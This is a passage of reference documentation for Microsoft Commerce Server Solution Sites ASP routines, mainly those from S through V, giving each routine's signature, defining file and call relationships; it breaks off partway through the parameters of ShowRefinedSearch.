RunOrderPipeline

Remarks

The pipeline is run with or without transaction support based on the value of the variable g_sPipelineProgID, as established in the files include\header.asp and include\txheader.asp.

For moreinformation about the use of pipelines in the Solution Sites, see Pipelines.


RunOrderPipeline - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs the Order Processing pipeline and processes any errors it returns.

Definition

Sub RunOrderPipeline(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object for which the pipeline will be run.

Defined in File

_recvpo.asp

Routines Called

GetPipelineLogFile

RunMtsPipeline

Called By

Main (_recvpo.asp)

Remarks

For more information about the use of pipelines in the Solution Sites, see Pipelines for Solution Sites.


S - V

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters S through V.

Routine | File
sAddCriteriaToQuery | services\include\profiles_common.asp
sAddEndDate | services\include\profiles_common.asp
sAddSetClause | services\include\profiles_common.asp
sAddSQLNumber | services\include\profiles_common.asp
sAddSQLString | services\include\profiles_common.asp
sAddStartDate | services\include\profiles_common.asp
sAddWhereClauseForActiveUsers | services\include\save_all_profiles.asp
sAddWhereClauseForPartnerRole | services\include\save_all_profiles.asp
SaveAddressToOrderGroup | addrform.asp
SaveAllSelectedProfiles | services\include\save_all_profiles.asp
SaveBasketAsOrder | include\payment.asp
SaveCommonValueForAllSelectedRecords | services\include\save_one_profile.asp
SaveProfileProperty | services\include\save_one_profile.asp
SaveReadOnlyProperty | services\include\save_one_profile.asp
SaveSAMAccountNameProperty | services\include\save_one_profile.asp
SaveUserAccountControlProperty | services\include\save_one_profile.asp
SaveUserParentDNProperty | services\include\save_one_profile.asp
SaveUserPartnerDeskRoleProperty | services\include\save_one_profile.asp
SaveUserPropertyForID | services\include\save_one_profile.asp
sChopOffLeft | include\std_string_lib.asp
sChopOffRight | include\std_string_lib.asp
sConstructWHEREclause | services\include\profiles_common.asp
SelectAllActionHandler | services\include\edit_handlers.asp
SelectedActionHandlerForList | services\include\list_handlers.asp
SetCreditCardInfo | crdtcard.asp
SetGlobalPagingVariables | services\include\lib.asp
SetKeyOnOrderForms | include\std_ordergrp_lib.asp
SetOptOutList | opt-out.asp
SetPurchaseOrderInfo | po.asp
SetTestCookie | include\std_cookie_lib.asp
SetupAddressForm | newaddr.asp
SetupPage | include\setupenv.asp
sGetAction | services\include\initialize.asp
sGetActiveDirectoryDefaultNamingContext | include\global_siteconfig_lib.asp
sGetAddressName | services\include\logic_orders.asp
sGetAdminsOnly | services\include\save_one_profile.asp
sGetDefaultShippingMethod | pickship.asp
sGetDisplayValueForProperty | services\include\lib.asp
sGetIDFromForm | services\include\initialize.asp
sGetOrderStatusDetails | services\include\lib.asp
sGetPageHeading | services\include\render_common.asp
sGetParentDN | services\include\lib.asp
sGetPaymentMethodString | services\include\logic_orders.asp
sGetPropertyDisplayName | product.asp
sGetReferenceString | include\global_siteterms_lib.asp
sGetScriptError | BDRefresh.asp
sGetSelectActionPropertyName | services\include\lib.asp
sGetSelectedIDs | services\include\initialize.asp
sGetSubAction | services\include\initialize.asp
sGetThisPageProperty | services\include\lib.asp
sGetUserAccessForThisProperty | services\include\lib.asp
sGetUserFullName | services\include\get_profiles.asp
sGetUserIDForNewGuestUser | include\std_access_lib.asp
sGetUserLoginName | services\include\get_profiles.asp
sGetUserPartnerDeskRole | services\include\lib.asp
sGetUsersOnly | services\include\save_one_profile.asp
sGetUserStatus | services\include\lib.asp
sGetWhereClauseForCurrentUser | services\include\delete_profiles.asp
ShowRefinedSearch | stepsrch.asp
ShowSearchMatches | stepsrch.asp
sLookUpPaymentMethod | dispatch.asp
SortDictionaryKeys | include\std_util_lib.asp
Space | include\std_string_lib.asp
sReConstructPageURL | services\include\render_common.asp
sRenderAddress | services\include\render_orders.asp
sRenderHTMLPreFixForProperty | services\include\render_edit_common.asp
sReplaceString | services\include\render_common.asp
StringToBoolean | include\std_string_lib.asp
SubmitUsingBizTalk | include\payment.asp
sUserCatalogsAsString | include\catalog.asp
tableChangePasswordTasks | services\include\render_password.asp
tableRenderBlankProfile | services\include\render_edit_blank.asp
tableRenderChangePasswordContents | services\include\render_password.asp
tableRenderEditPageTasks | services\include\render_edit_common.asp
tableRenderFooterInfo | services\include\render_common.asp
tableRenderListPageTasks | services\include\render_list.asp
tableRenderMessageBoxPageButtons | services\include\render_messagebox.asp
tableRenderMessageBoxPage | services\include\render_messagebox.asp
tableRenderMultipleRecords | services\include\render_list.asp
tableRenderOrdersListContents | services\include\render_orders.asp
tableRenderOrdersListTasks | services\include\render_orders.asp
tableRenderProfiles | services\include\render_edit_common.asp
Tag | include\html_lib.asp
tblOrderDetailsTasks | services\include\render_orders.asp
tblRenderOrderDetailsContents | services\include\render_orders.asp
TDTag | services\include\lib.asp
TerminateConfirmationPage | confirm.asp
TerminatePO | po.asp
TerminateSummaryPage | summary.asp
THTag | services\include\lib.asp
TRTag | services\include\lib.asp
UpdateAddressBook | newaddr.asp
UpdatePasswordActionHandler | services\include\password_handlers.asp
UpdateSelectActionPropertyName | services\include\save_one_profile.asp
UpdateUserAccountControlProperty | services\include\save_all_profiles.asp
UpdateUserPasswordProperty | services\include\save_one_profile.asp
UpdateUserProfile | include\std_profile_lib.asp
ValidateFields | services\include\lib.asp
ValidateSubmittedCreditCardData | crdtcard.asp
ValidateSubmittedLoginData | login\login.asp
ValidateSubmittedPurchaseOrderData | po.asp
varGetPropertyValue | services\include\render_edit_common.asp
varGetValueFromPropertyDictionaries | services\include\render_edit_common.asp
varGetValueFromRequestObject | services\include\render_edit_common.asp
varUpdateValueForCurrentAction | services\include\render_edit_common.asp


sAddCriteriaToQuery - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function builds a Transact-SQL statement.

Definition

Function sAddCriteriaToQuery(
  byRef bFieldSelected,
  byVal oProperty,
  byVal dictSearchOptions
)

Defined in File

services\include\profiles_common.asp

Routines Called

sAddEndDate

sAddSQLNumber

sAddSQLString

sAddStartDate

Called By

sConstructWHEREclause


sAddEndDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an End Date clause.

Definition

Function sAddEndDate(
  byVal sClause,
  byVal sPropertName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

GetODBCTimeStamp

Called By

sAddCriteriaToQuery


sAddSetClause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a Set clause.

Definition

Function sAddSetClause(
  byVal sPropertyName,
  byVal iPropertyType,
  byVal varPropertyValue,
  byRef bFieldUpdated
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


sAddSQLNumber - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND clause for a property of type number.

Definition

Function sAddSQLNumber(
  byVal sClause,
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

None.

Called By

sAddCriteriaToQuery

sAddWhereClauseForActiveUsers

sAddWhereClauseForPartnerRole


sAddSQLString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an "AND property LIKE value" clause for a property of type string.

Definition

Function sAddSQLString(
  byVal sClause,
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

HandleSingleQuote

Called By

sAddCriteriaToQuery


sAddStartDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a Start Date clause.

Definition

Function sAddStartDate(
  byVal sClause,
  byVal sPropertName,
  byVal sPropertyValue
)

Defined in File

services\include\profiles_common.asp

Routines Called

GetODBCTimeStamp

Called By

sAddCriteriaToQuery


sAddWhereClauseForActiveUsers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND or WHERE "USER_STATUS = ACCOUNT_ACTIVE" clause.

Definition

Function sAddWhereClauseForActiveUsers(
  byRef bFieldSelected
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

sAddSQLNumber

Called By

GetUserAccountControl


sAddWhereClauseForPartnerRole - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds an AND or WHERE "FIELD_USER_PARTNERDESK_ROLE = iPartnerDeskRole" clause.

Definition

Function sAddWhereClauseForPartnerRole(
  byRef bFieldSelected,
  byVal iPartnerDeskRole
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

sAddSQLNumber

Called By

UpdateUserAccountControlProperty


SaveAddressToOrderGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves an address to an order group.

Definition

Sub SaveAddressToOrderGroup(
  mscsOrderGrp,
  dictFldVals,
  byVal iAddrType
)

Defined in File

addrform.asp

Routines Called

GetSavedAddressID

SetKeyOnOrderForms

Called By

Main (addrform.asp)


SaveAllSelectedProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves all selected profiles.

Definition

Sub SaveAllSelectedProfiles(
  byRef sStatusField,
  byRef iStatusID,
  byVal dictSearchOptions
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

AddSetClauseAndUpdateUserAccountControl

bCheckIfThePropertyFeatureIsSupported

GetRequestString

GetTableNameAndWhereClause

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sAddSetClause

sConstructWHEREclause

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction


SaveBasketAsOrder - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the basket as an order and deletes old baskets. It also invokes the BizTalk Server as appropriate, and calls the routine Analysis_LogSubmitOrder for analysis purposes.

Definition

Sub SaveBasketAsOrder(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the contents of the basket.

Defined in File

include\payment.asp

Routines Called

Analysis_LogSubmitOrder

GetOrderGroupManager

InvokeBizTalk

Called By

InitializeCreditcardPage

RedirectToPOConfirmation


SaveCommonValueForAllSelectedRecords - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves a common value to all the selected records.

Definition

Sub SaveCommonValueForAllSelectedRecords(
  byVal sSubAction,
  byVal sPropertyName,
  byVal varValue,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

SaveUserPropertyForID

sGetThisPageProperty

Called By

bSaveReadWriteProperty

SaveReadOnlyProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

UpdateSelectActionPropertyName


SaveProfileProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves a property value in a profile.

Definition

Sub SaveProfileProperty(
  byRef rsProfile,
  byVal sPropertyName,
  byVal sValue
)

Defined in File

services\include\save_one_profile.asp

Routines Called

None.

Called By

SaveUserPropertyForID

UpdateSelectActionPropertyName


SaveReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves any read-only property.

Definition

Sub SaveReadOnlyProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProperty

bSaveProperty

Remarks

Generally, this function only handles cases where the property changed is a ChangedBy or ChangedDate field.


SaveSAMAccountNameProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the SAMAccountName property.

Definition

Sub SaveSAMAccountNameProperty(
  byVal sSubAction,
  byRef oProperty,
  byRef rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

Called By

bInsertProfileDetails


SaveUserAccountControlProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User Account Control property (Active Directory specific).

Definition

Sub SaveUserAccountControlProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetActiveUsersOnly

GetRequestString

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

sGetAdminsOnly

sGetUsersOnly

Called By

bInsertProfileDetails

bSaveProfileDetails


SaveUserParentDNProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User ParentDN property (Active Directory specific).

Definition

Sub SaveUserParentDNProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetOrgAttributeFromID

Called By

bInsertProfileDetails


SaveUserPartnerDeskRoleProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User Partner Desk Role property.

Definition

Sub SaveUserPartnerDeskRoleProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfile,
  byVal sProfileIDs,
  byRef arrPrevRole,
  byRef arrCurrentRole
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

GetUserPropertyFromID

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProfileDetails

bSaveProfileDetails


SaveUserPropertyForID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the User property for a user ID.

Definition

Sub SaveUserPropertyForID(
  byVal sAttributeName,
  byVal sID,
  byVal sValue
)

Defined in File

services\include\save_one_profile.asp

Routines Called

rsGetProfileByKey

SaveProfileProperty

Called By

SaveCommonValueForAllSelectedRecords


sChopOffLeft - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function deletes the left section of the sValue parameter string corresponding to the sToChopOffLeft parameter string, providing that the sValue parameter string begins with the sToChopOffLeft parameter string.

Definition

Function sChopOffLeft(
  sValue,
  sToChopOffLeft
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


sChopOffRight - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function deletes the right section of the sValue parameter string corresponding to the sToChopOffRight parameter string, providing the sValue parameter string ends with the sToChopOffRight parameter string.

Definition

Function sChopOffRight(
  sValue,
  sToChopOffRight
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

None.


sConstructWHEREclause - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a WHERE clause.

Definition

Function sConstructWHEREclause(
  byRef bFieldSelected,
  byRef dictSearchOptions
)

Defined in File

services\include\profiles_common.asp

Routines Called

listCloneProfileSchema

sAddCriteriaToQuery

Called By

DeleteAllProfiles

rsGetProfilesList

SaveAllSelectedProfiles

UpdateUserAccountControlProperty


SelectAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides the "Select All" action handler.

Definition

Sub SelectAllActionHandler(
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


SelectedActionHandlerForList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides the "Selected" action handler for a LIST-type page.

Definition

Sub SelectedActionHandlerForList(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\list_handlers.asp

Routines Called

GenerateURL

iGetCountOfProfiles

sGetSelectActionPropertyName

sGetThisPageProperty

Called By

htmListPageActionHandlers


SetCreditCardInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the credit card information on all order forms.

Definition

Sub SetCreditCardInfo(
  mscsOrderGrp,
  dictKeys
)

Defined in File

crdtcard.asp

Routines Called

RemovePurchaseOrderInfo

SetKeyOnOrderForms

Called By

ValidateSubmittedCreditCardData


SetGlobalPagingVariables - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the global paging variables depending on the local variables passed to the sub.

Definition

Sub SetGlobalPagingVariables(
  byVal bRecordCountPresent,
  byVal nCountTemp,
  byRef iTotalRecords,
  byRef iPageNumber,
  byRef iTotalPages,
  byVal bIsProfilePage
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

tableRenderMultipleRecords

tableRenderOrdersListContents


SetKeyOnOrderForms - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the key on order forms.

Definition

Sub SetKeyOnOrderForms(
  byVal mscsOrderGrp,
  byVal sKey,
  byVal sValue
)

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

Main (_setadrs.asp)

SaveAddressToOrderGroup

SetCreditCardInfo

SetPurchaseOrderInfo


SetOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the opt-out list ID for the campaign item.

Definition

Sub SetOptOutList(
  conn_campaigns,
  campitem_id,
  list_id
)

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


SetPurchaseOrderInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets the purchase order payment information on all order forms.

Definition

Sub SetPurchaseOrderInfo(
  mscsOrderGrp,
  dictKeys
)

Defined in File

po.asp

Routines Called

RemoveCreditCardInfo

SetKeyOnOrderForms

Called By

ValidateSubmittedPurchaseOrderData


SetTestCookie - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets a test cookie to learn if a browser allows cookies.

Definition

Sub SetTestCookie(
  byVal sCookieType
)

Parameters

sCookieType
A string containing the name of the cookie type. Legal values for this string are persistent_cookie and session_cookie.

Defined in File

include\std_cookie_lib.asp

Routines Called

GetIISApplicationName

Called By

IsPersistentCookieAllowed

PrepareLoginPage

PrepareNewUserPage


SetupAddressForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares the address form for display.

Definition

Sub SetupAddressForm(
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef iAddrType,
  byRef sAction,
  byRef sAddrID
)

Defined in File

newaddr.asp

Routines Called

CatchErrors (newaddr.asp)

dictGetInitialFieldValues

FetchData

GenerateURL

GetSubmittedFieldValues

IsFormSubmitted

iValidateSubmittedAddressForAddressBook

UpdateAddressBook

Called By

Main (newaddr.asp)


SetupPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub sets page variables, trims off the leading characters associated with the virtual directory, gathers user information, determines the cookie type, sets the language and calls the Main subroutine.

Definition

Sub SetupPage()

Parameters

None.

Defined in File

include\setupenv.asp

Routines Called

CorrectRequest

GetAuthManagerObject

GetTicketLocation

GetUserInfo

Main (in whichever file has included the file include\setupenv.asp)

Called By

This routine is called by code outside of any routine (sub or function) in the file include\setupenv.asp.


sGetAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines the action to be taken for the current page.

Definition

Function sGetAction()

Parameters

None.

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

InitializePartnerDesk


sGetActiveDirectoryDefaultNamingContext - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the Active Directory domain name.

Definition

Function sGetActiveDirectoryDefaultNamingContext()

Parameters

None.

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


sGetAddressName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the address name field of the specified address ID in the specified order group.

Definition

Function sGetAddressName(
  mscsOrderGrp,
  addr_id
)

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents


sGetAdminsOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines which users specified by the input parameter sProfileIDs are administrators (for example, the FIELD_USER_PARTNERDESK_ROLE is specified as ROLE_ADMIN) and returns a string that contains the profile IDs of those administrators.

Definition

Function sGetAdminsOnly(
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


sGetDefaultShippingMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the default shipping method as a string.

Definition

Function sGetDefaultShippingMethod(
  mscsOrderGrp,
  dictAggregate
)

Defined in File

pickship.asp

Routines Called

GetAnyLineItem

Called By

htmRenderShippingOptionsEx


sGetDisplayValueForProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the display text for properties of type Number.

Definition

Function sGetDisplayValueForProperty(
  byVal sPropertyName,
  byVal sPropertyValue
)

Defined in File

services\include\lib.asp

Routines Called

sGetOrderStatusDetails

sGetUserPartnerDeskRole

sGetUserStatus

Called By

arrPopulateProfileDetails


sGetIDFromForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function loops through the FORM collection to determine the selected profiles.

Definition

Function sGetIDFromForm()

Parameters

None.

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

sGetSelectedIDs


sGetOrderStatusDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the description for the order status code.

Definition

Function sGetOrderStatusDetails(
  byVal iOrderStatus
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

arrPopulateOrderHeaderDetails

sGetDisplayValueForProperty

tblRenderOrderDetailsContents


sGetPageHeading - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the page heading.

Definition

Function sGetPageHeading(
  byVal sPageName
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderOrderDetails

htmRenderOrderList

htmRenderProfilesList


sGetParentDN - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the ParentDN property related to an organization.

Definition

Function sGetParentDN()

Parameters

None.

Defined in File

services\include\lib.asp

Routines Called

GetOrgAttributeFromID

Called By

None.


sGetPaymentMethodString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the friendly, localizable version of the payment method identifier as a string.

Definition

Function sGetPaymentMethodString(
  sMethodID
)

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

tblRenderOrderDetailsContents


sGetPropertyDisplayName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the display name for a catalog property when available. Otherwise it returns the property column name.

Definition

Function sGetPropertyDisplayName(
  byVal sPropName
)

Parameters

sPropName
A string containing the name of the property.

Return Value

A string containing either the property's display name attribute, if it was set, or the name of the property.

Defined in File

product.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties

htmRenderVariantsList


sGetReferenceString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the reference string attribute value for a given property element.

Definition

Function sGetReferenceString(
  byRef oXMLProperty
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

None.

Called By

oGetSiteTermOptions


sGetScriptError - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an error string populated from the Error object.

Definition

Function sGetScriptError(
  oErr
)

Parameters

oErr
A reference to the Error object.

Return Value

A string containing the HTML representation of the Error object properties displayed in a table.

Defined in File

BDRefresh.asp

Routines Called

None.

Called By

This routine is called by code outside of any routine (sub or function) in the file BDRefresh.asp.


sGetSelectActionPropertyName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property name for the Select Action button that was clicked.

Definition

Function sGetSelectActionPropertyName(
  byVal sAction
)

Defined in File

services\include\lib.asp

Routines Called

GetRequestString

Called By

colRenderForeignKeyProperty

formRenderListPageContents

htmRenderMessageBoxPage

PrepareSelectActionHandlerForEdit

SelectedActionHandlerForList

UpdateSelectActionPropertyName


sGetSelectedIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the profile IDs.

Definition

Function sGetSelectedIDs(
  byVal sAction
)

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

sGetIDFromForm

Called By

InitializePartnerDesk


sGetSubAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the sub action.

Definition

Function sGetSubAction

Defined in File

services\include\initialize.asp

Routines Called

GetRequestString

Called By

InitializePartnerDesk


sGetThisPageProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the page properties.

Definition

Function sGetThisPageProperty(
  byVal sPageName,
  byVal sPropertyName
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

AddSetClauseAndUpdateUserAccountControl

arrPopulateProfileDetails

bCheckIfProfileExists

bInsertProfile

bInsertProfileDetails

bSaveProfileDetails

CloseOrderDetailsActionHandler

colRenderPrimaryKeyProperty

DeleteSingleProfile

formRenderListPageContents

GetSearchDictionaryForThisPage

GetTableNameAndWhereClause

htmEditAction

listCloneProfileSchema

PrepareCloseAction

PrepareCloseOrderDetailsAction

PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareOrderList

PrepareSaveAllAction

PrepareSelectAllAction

RedirectOrderDetailsForIDs

rsGetProfileDetails

SaveCommonValueForAllSelectedRecords

SelectedActionHandlerForList

tableRenderFooterInfo


sGetUserAccessForThisProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the current user access privileges for this property.

Definition

Function sGetUserAccessForThisProperty(
  byVal iUserClass,
  byVal oProperty
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


sGetUserFullName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the full name (last name + first name) of the user.

Definition

Function sGetUserFullName(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetUserPropertyFromID

Called By

None.


sGetUserIDForNewGuestUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the user ID for a new guest user.

Definition

Function sGetUserIDForNewGuestUser(
  byVal rsUser
)

Defined in File

include\std_access_lib.asp

Routines Called

None.

Called By

EnsureAccess

Main (login\_guest.asp)


sGetUserLoginName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the login name of a user.

Definition

Function sGetUserLoginName(
  byVal sID
)

Defined in File

services\include\get_profiles.asp

Routines Called

GetUserPropertyFromID

Called By

colRenderForeignKeyProperty


sGetUserPartnerDeskRole - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the i_partnerdeskroleflags description for the user.

Definition

Function sGetUserPartnerDeskRole(
  byVal iPartnerDeskRole
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

sGetDisplayValueForProperty


sGetUsersOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines which users specified by the input parameter sProfileIDs are users (for example, do not have an admin profile) and returns a string that contains the profile IDs of those users.

Definition

Function sGetUsersOnly(
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


sGetUserStatus - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the status code description for the user.

Definition

Function sGetUserStatus(
  byVal iUserStatus
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

sGetDisplayValueForProperty


sGetWhereClauseForCurrentUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the WHERE clause for the current user.

Definition

Function sGetWhereClauseForCurrentUser(
  bFieldSelected
)

Defined in File

services\include\delete_profiles.asp

Routines Called

EnsureUserProfile

GetQualifiedName

Called By

DeleteAllProfiles


ShowRefinedSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub shows the refined search.

Definition

Sub ShowRefinedSearch(
  byRef sCatalogName,
  byRef sCategoryName,
  byRef rsFields,
  byRef arr1,
  byRef arr2,
  byVal iMatchesFound,
  byVal iConstraintFieldsCount,
  byVal iNonConstraintFieldsCount,
  byRef bNoValues,
  byRef htmContent
)

Parameters

sCatalogName
A string containing the name of the catalog, passed through to the function RenderHiddenField.
sCategoryName
A string containing the name of the category, passed through to the function RenderHiddenField.
rsFields
A reference to a Recordset object containing the searchable fields, passed through to the function RemoveBlankItemsFromArray.
arr1
An array of non-constraining searchable properties.
arr2
An array of constraining searchable properties, passed through to the functions RenderText, GetRequestString, and RenderHiddenField.
iMatchesFound
An integer that specifies the number of matches found, passed through to the function RenderText.
iConstraintFieldsCount
An integer that specifies the number of constraint fields.
iNonConstraintFieldsCount
An integer that specifies the number of non-constraint fields.
bNoValues
